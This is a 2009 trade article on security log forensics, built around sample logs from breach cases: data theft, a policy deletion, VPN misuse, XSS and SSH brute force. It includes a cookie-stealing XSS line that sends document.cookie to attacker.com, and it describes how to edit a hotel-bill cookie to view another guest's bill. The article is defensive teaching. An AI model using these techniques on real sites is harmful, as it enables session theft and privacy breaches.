Manage Learn to apply best practices and optimize your operations.

An inside look at security log management forensics investigations

David Strom provides some examples of log data that provided key clues to enterprise data breaches.

You are submerged in a sea of data about your network. Just about everything keeps nanosecond-by-nanosecond log...

files and records of what is happening across your enterprise. The trouble is being able to find that particular exploit among your intrusion detectors, firewall analyzers, log parsers and other servers.

Vital evidence of your networks' compromise could be buried inside one of these repositories. So how should you begin your log management forensics investigations? Let's demonstrate some of the sleuthing techniques you can use and patterns to watch out for.

Ideally, you should try to pare down your logs by a suspected time range, look for particular IP addresses that don't make sense, or actions that only administrators would perform, such as changes to group policies. Multiple entries, such as unsuccessful login attempts, are another sign of potential break-ins. It is also useful to employ commercial security log management tools or services, which can help spot patterns and uncover some of these more insidious events.

We asked some experts to share their insight, and actual samples of data breaches. While we can't reproduce everything for privacy reasons, our examples provide enough of the event trace and log details to give you a good idea of how to go about finding this critical information. These examples are only the tip of the iceberg, just like real log management forensics investigations. Commercial tools can help spot patterns and correlate events, but it helps to hone your skills by spending some time learning what to look for.

A company is in bankruptcy and being run by a receivership. Management has been prohibited from accessing any corporate databases, or removing any electronic materials from the premises. The forensics searchers come across this transaction on one manager's computer:

#Software: Microsoft Internet Information Services 6.0
#Version: 1.0
#Date: 2007-12-06 03:35:00
#Fields: date time s-sitename s-computer
name s-ip cs-method cs-uri-stem cs-uri-
query s-port cs-username c-ip cs-version
cs(User-Agent) cs(Cookie) cs(Referer) cs-
host sc-status sc-substatus sc-win32-
status sc-bytes cs-bytes time-taken
2007-12-06 21:46:42 W3SVC4351
SV1792 GET
/ - 80 -

What this log snippet shows is one of the managers from his client downloading a zip file containing customer data from a website to his computer after the lockdown occurred.

"At the time, we didn't even know this Web server -- which was located off site -- existed," said Ralph Losey, an e-discovery lawyer in Orlando, Fla. who investigated the case. They saw the trace file and then found the Web server at that IP address.

Log management lesson learned: What made this entry stand out was the time period in which it occurred (after the lockdown and after business hours -- 9 p.m.) and the website that the file was requested from. The analyst was able to track the user down by the IP address shown in the entry. Look for zip files and other big downloads, particularly in off-hours time periods when people shouldn't normally be working.

The scene is a stock brokerage house about to start trading day. But the traders are locked out of their computers. So like any competent IT manager, the question you ask is, "what has changed since they went home the day before, and who made any changes?"

Part of the problem is that the various Windows servers produce lots of security log data. For this case, we are using SenSage Inc.'s log management tool to filter through all the data and find the key events from the night before that have to do with policy settings or groups of user accounts. Here is the telltale entry:

1192097062 2007-10-11 11:04:25
user.notice MSWinEventLog 1 Secu-
rity 1276931 Thu Oct 11 11:04:22
2007 566 Security msooky_g02
User Success Audit SLON10P00022
Directory Service Access Object
Operation: Object Server: DS Opera-
tion Type: Object Access Object Type:
00aa003049e2} Object Name:
2c9a606145f8} Handle ID: - Primary
User Name: SLON10P00022$ Primary
Domain: ACME Primary Logon ID:
(0x0,0x3E7) Client User Name:
clumsy_admin Client Domain: ACME Client Logon ID: (0x0,0xF9EB2193) Accesses: DELETE Properties: DELETE Additional Info: Additional
Info2: Access Mask: 0x10000

In this case, the suspected problem was Active Directory, and the IT staff determined that someone modified an Organization Unit the previous night. The team found a series of group policy change events, including the one above.

In the Windows environment, the deletion of group policy objects creates an event ID of 566, and it is logged for the policy object, indicating the "Delete" access. Using this report, this brokerage firm was able to find the actual administrator who made the change that caused the outage. It turned out to be a mistake and not a malicious activity.

Log management lesson learned: Many organizations limit the number of people who have access to corporate directory applications, and it is a wise idea to test any changes with a normal user account once they have been posted, to ensure that ordinary operations can continue.

We know threats from the inside are the most pernicious. In this scenario, we find out that a terminated employee has gained access to the corporate VPN and is deleting critical data. This scenario isn't just about missing data, but could also be used to investigate other oddities. You would want to search by employee, by time of day, multiple failed login attempts, or a combination of all three. Look at the captured packets, using RSA's enVision log analyzer, below.

Somehow, the user DJohnson (see bolded text in example, below) managed to authenticate himself to the Cisco VPN (either his account wasn't terminated when he was, or he managed to socially engineer a help desk employee and gain temporary access). We used enVision's filtering capability to look for recently unauthorized users, or users who have tried to log in with multiple unsuccessful attempts within a short time period. We can see in this example that he deleted a table (see bolded text at bottom of example) called "Cashflow," probably to cover his tracks to avoid discovery of previous wrongdoing.

"ciscovpn" "IKE/52" "2006-12-26 10:04:27.0""VPN" ""
"Auth.Successful.Methods" "djohnson" "" "57138 12/26/2006 10:40:17.780
SEV=4 IKE/52 RPT=407 Group [RSA] User [djohnson] User (djohnson)
"ciscovpn" "IKE/34" "2006-12-26 10:04:29.0" "VPN""" ""
"Auth.Successful.Methods" "djohnson" "" "57150 12/26/2006 10:40:19.150
SEV=5 IKE/34 RPT=516 Group [RSA] User [djohnson] Received local IP
Proxy Subnet data in ID Payload: Address, Mask, Protocol 0, Port 0"
"oracle" "CREATE" "2006-12-26 10:13:04.0" "DATABASE" "" ""
"User.Activity" "djohnson" "DROP TABLE CASHFLOW" "%ORACLE-1-CREATE:
EVENTTIME: \Tue Dec 26 10:13:04 2006 \ VERSION: \Oracle9i Enterprise Edition
Release \ OS: \SunOS\ SYSTEM: \sun4u\ NODE: \pltdb13m3\ INSTANCE:

Log management lesson learned: Make sure you have solid procedures for terminated employees, including training your help desk staff.

We know the Web is an insecure medium, but exactly how insecure? Here is a simple way to demonstrate how to hijack user session data by looking at the cookies on a user's hard drive. The scenario is a user examining his hotel bill online.

Typically, once a user authenticates himself for the hotel billing system, the information for his room is stored in a cookie. While you can search for the cookie files on your hard drive, it is easier if you use a built-in proxy server, such as Firebug for Firefox or IE Watch for IE, to observe what cookies are created as you connect to various websites. Here are the contents of part of the cookie file, below:

GET /nyaa/ui/i18n/en-US/Portal/view_bill.aspx?source=folio HTTP/1.0
User-Agent: Mozilla/5.0 (Macintosh; U; Intel Mac OS X 10.5; en-US; rv:1.9)
Gecko/2008051202 Firefox/3.0
Cookie: ASP.NET_SessionId=ziaifh45ucmljv45rsreafzt; DMBINET=SESSIONID=
128566822773487500; CSS=DMBiNet_HIL.css; IMG=Hotel.jpg; MENUIMG=&ADVER
VlanID=483939474839028.412.593839; COUNTRY=US; LOCATIONID=LOC009;
MIM_IP=; MIM_PORT=7296; PMS_DESCRIPTION=Internet Broadband;
HOTELID=NIHKTMCA; [email protected];

You'll note that the cookie contains two elements that refer to room 412 (see bolded text), where the guest stayed. If you change both of these to another room, such as 312, and save that cookie to your hard disk and bring up the hotel billing application, you will be able to view another guest's bill for that night.

Log management lesson learned: Sometimes it isn't just the log files that are insecure. Poorly written Web applications that place some user identities in insecure files are also risky.

Cross-site scripting vulnerabilities are all too common; Hackers can insert code it into the normal operations of Web servers that don't properly validate their inputs and create all sorts of problems. Take a look at this bit of JavaScript that can be typed into a normal input field of an online dating or social networking site that is expecting the ordinary user to update his or her profile information:

Document.write ("img src=http://attacker. com" + document.cookie +" width=0>")

(Caleb Sima, chief technologist for application security for HP, discusses this social networking exploit in a video presentation.)

This code adds a special payload, so that every time someone views this user's profile, their information is sent in the background to the attacker. This has the effect of being able to infect everyone who views a particular user profile. Here is what our Web server log file will look like:

2006-08-31 19:54:47 GET /a.js - 80 -
2) 200 0 0
2006-08-31 19:54:47 GET /
pIDCode=2AD4A95012D09660 - 80 - 19:54:47 GET /a.js - 80 - Mozilla/4.0+(compatible;+MSIE+6.0;+MS NIA;+Windows+98;+.NET+CLR+1.1.432 2) 200 0 0 2006-08-31 19:54:47 GET / pIDCode=2AD4A95012D09660 - 80 -
2) 404 0 2

These are the actual cookie IDs of the exploited users; the bold text is special Javascript code that can steal the information, change their account information or communicate as someone else.

The ultimate cross-site scripting exploit happened a few years ago with the Samy Myspace worm. The hacker managed to infect more than a million users in less than a day.

Log management lesson learned: Validate those inputs! Cross-site scripting is well known, and the fix is to better educate your application developers to review their code for security vulnerabilities.

We all can forget a password, but how about a poorly crafted root password? Here is an entry from one log file from log management company LogLogic Inc.'s archives:

Apr 23 07:13:11 support sshd[12954]:
Failed password for root from
::ffff: port 59680 ssh2
Apr 23 07:13:14 support sshd[12956]:
Failed password for root from
::ffff: port 59803 ssh2

This entry is repeated literally thousands of times (see highlighted text, bottom left), and occurs over several days. Then we see the following entry, showing the attacker finally got the correct password:

Apr 24 15:09:02 support sshd[2396]:
Accepted password for root from
::ffff: port 17001 ssh2

Log management lesson learned: Don't have weak passwords, especially on SSH servers that face the Internet. And just because you have blocked all the relevant ports, you should still look for large numbers of failed login attempts.

About the author:
David Strom is a freelance writer and professional speaker based in St. Louis, He is the former editor-in-chief of Network Computing magazine and Tom's

This was last published in May 2009

Dig Deeper on Real-time network monitoring and forensics